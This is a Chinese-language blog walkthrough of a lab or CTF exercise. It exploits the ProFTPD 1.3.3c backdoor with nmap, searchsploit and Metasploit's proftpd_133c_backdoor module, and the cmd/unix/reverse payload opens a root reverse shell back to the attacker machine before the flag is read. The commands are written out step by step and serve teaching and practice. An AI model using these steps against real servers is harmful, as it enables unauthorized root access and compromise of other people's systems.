FTP服务后门利用

Dunm1e Lv3

FTP服务后门利用

1. 信息探测

1
2
nmap -sV IP # 扫描主机服务信息以及服务版本
namp -A -v -T4 IP # 最大线程扫描主机所有信息

发现FTP服务(端口号为21)

记录FTP软件名以及版本号

2. 漏洞利用

1.漏洞查找

1.1SearchSploit”漏洞查找工具

“SearchSploit”是一个用于Exploit-DB的命令行搜索工具(已经默认在Kali中安装),可以查找渗透模块。Exploit-DB是一个漏洞库,Kali Linux中保存了一个该漏洞库的拷贝,它将搜索所有的漏洞和shellcode而且该漏洞库是保存在本地的,在没有网络的情况下也可以使用。它不会包含任何文件和谷歌黑客数据库的结果。终端输入”searchsploit”启动。

1.2查找漏洞

FTP服务为“ProFTPD 1.3.3c”版本

1
searchsploit ProFTPD 1.3.3c

发现存在后门,可以尝试远程溢出。既可以通过修改对应文件中的源代码(修改某些参数)进而执行远程溢出从而利用漏洞(第一行,此方法较复杂),也可以使用Metasploit工具利用该漏洞(输出结果的第二行表示Metasploit工具已集成该漏洞)。

我们使用第二种方法

2.漏洞利用

利用Metasploit进行远程溢出攻击

1
2
msfconsole  //启动Metasploit工具
msf6 > search ProFTPd-1.3.3c //Metasploit中通过版本号查找该漏洞

2

1
2
3
msf6 > use exploit/unix/ftp/proftpd_133c_backdoor  //利用exp
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > show payloads //查看可使用的挂载
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set payload cmd/unix/reverse //选择挂载

3

1
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > show options  //显示参数(输入时可用tab键补全)

4

1
2
3
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set rhost 192.168.43.174  //设置靶机ip
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set lhost 192.168.43.40 //设置攻击机ip
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > show options //显示参数
1
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > exploit  //开始利用漏洞

5

成功拿到反弹shell,且当前账户拥有root权限。(注:最后一句提示“Command shell session 1 opened”说明会话已经开启,并且下面出现光标,此时即可输入指令。)
但是此会话跟终端有区别,于是我们优化终端

1
python -c "import pty; pty.spawn('/bin/bash')"  //优化终端

3.获取flag

一般flag在根目录也就是/root中

1
2
3
cd /root  //进入root目录
ls //查看当前目录(文件夹)中文件列表
cat flag //打开flag文件

成功获取flag

  • Title: FTP服务后门利用
  • Author: Dunm1e
  • Created at : 2024-09-11 18:18:55
  • Updated at : 2024-09-20 17:13:34
  • Link: https://dunm1e.github.io/2024/09/11/602e2b077e4b/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments